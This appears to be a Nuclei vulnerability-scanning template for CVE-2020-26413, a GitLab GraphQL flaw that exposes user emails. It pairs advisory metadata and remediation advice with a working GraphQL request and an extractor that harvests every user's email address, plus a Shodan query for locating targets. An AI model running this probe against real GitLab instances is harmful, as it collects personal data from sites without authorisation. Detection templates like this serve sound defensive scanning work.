id: CVE-2020-26413 info: name: Gitlab CE/EE 13.4 - 13.6.2 - Information Disclosure author: _0xf4n9x_,pikpikcu severity: medium description: GitLab CE and EE 13.4 through 13.6.2 is susceptible to Information disclosure via GraphQL. User email is visible. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site. remediation: | Upgrade Gitlab CE/EE to version 13.6.3 or later. reference: - https://gitlab.com/gitlab-org/gitlab/-/issues/244275 - https://gitlab.com/gitlab-org/cves/-/blob/master/2020/CVE-2020-26413.json - https://nvd.nist.gov/vuln/detail/CVE-2020-26413 - https://hackerone.com/reports/972355 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N cvss-score: 5.3 cve-id: CVE-2020-26413 cwe-id: CWE-200 epss-score: 0.65771 epss-percentile: 0.97553 cpe: cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:* metadata: max-request: 1 vendor: gitlab product: gitlab shodan-query: http.title:"GitLab" tags: hackerone,cve,cve2020,gitlab,exposure,enum,graphql http: - raw: - | POST /api/graphql HTTP/1.1 Host: {{Hostname}} Content-Type: application/json { "query": "{\nusers {\nedges {\n node {\n username\n email\n avatarUrl\n status {\n emoji\n message\n messageHtml\n }\n }\n }\n }\n }", "variables": null, "operationName": null } matchers-condition: and matchers: - type: word part: body words: - '"username":' - '"avatarUrl":' - '"node":' condition: and - type: status status: - 200 extractors: - type: json json: - '.data.users.edges[].node.email' part: body # digest: 4a0a00473045022049c685a03d50b7e37c79f58bbd1397ea0217b526f2ffdaa8eee4538befa59486022100ca3a5168382be73887df633fc4184473e2453af9bb0852249c694ada0e80c8cf:922c64590222798bb761d5b6d8e72950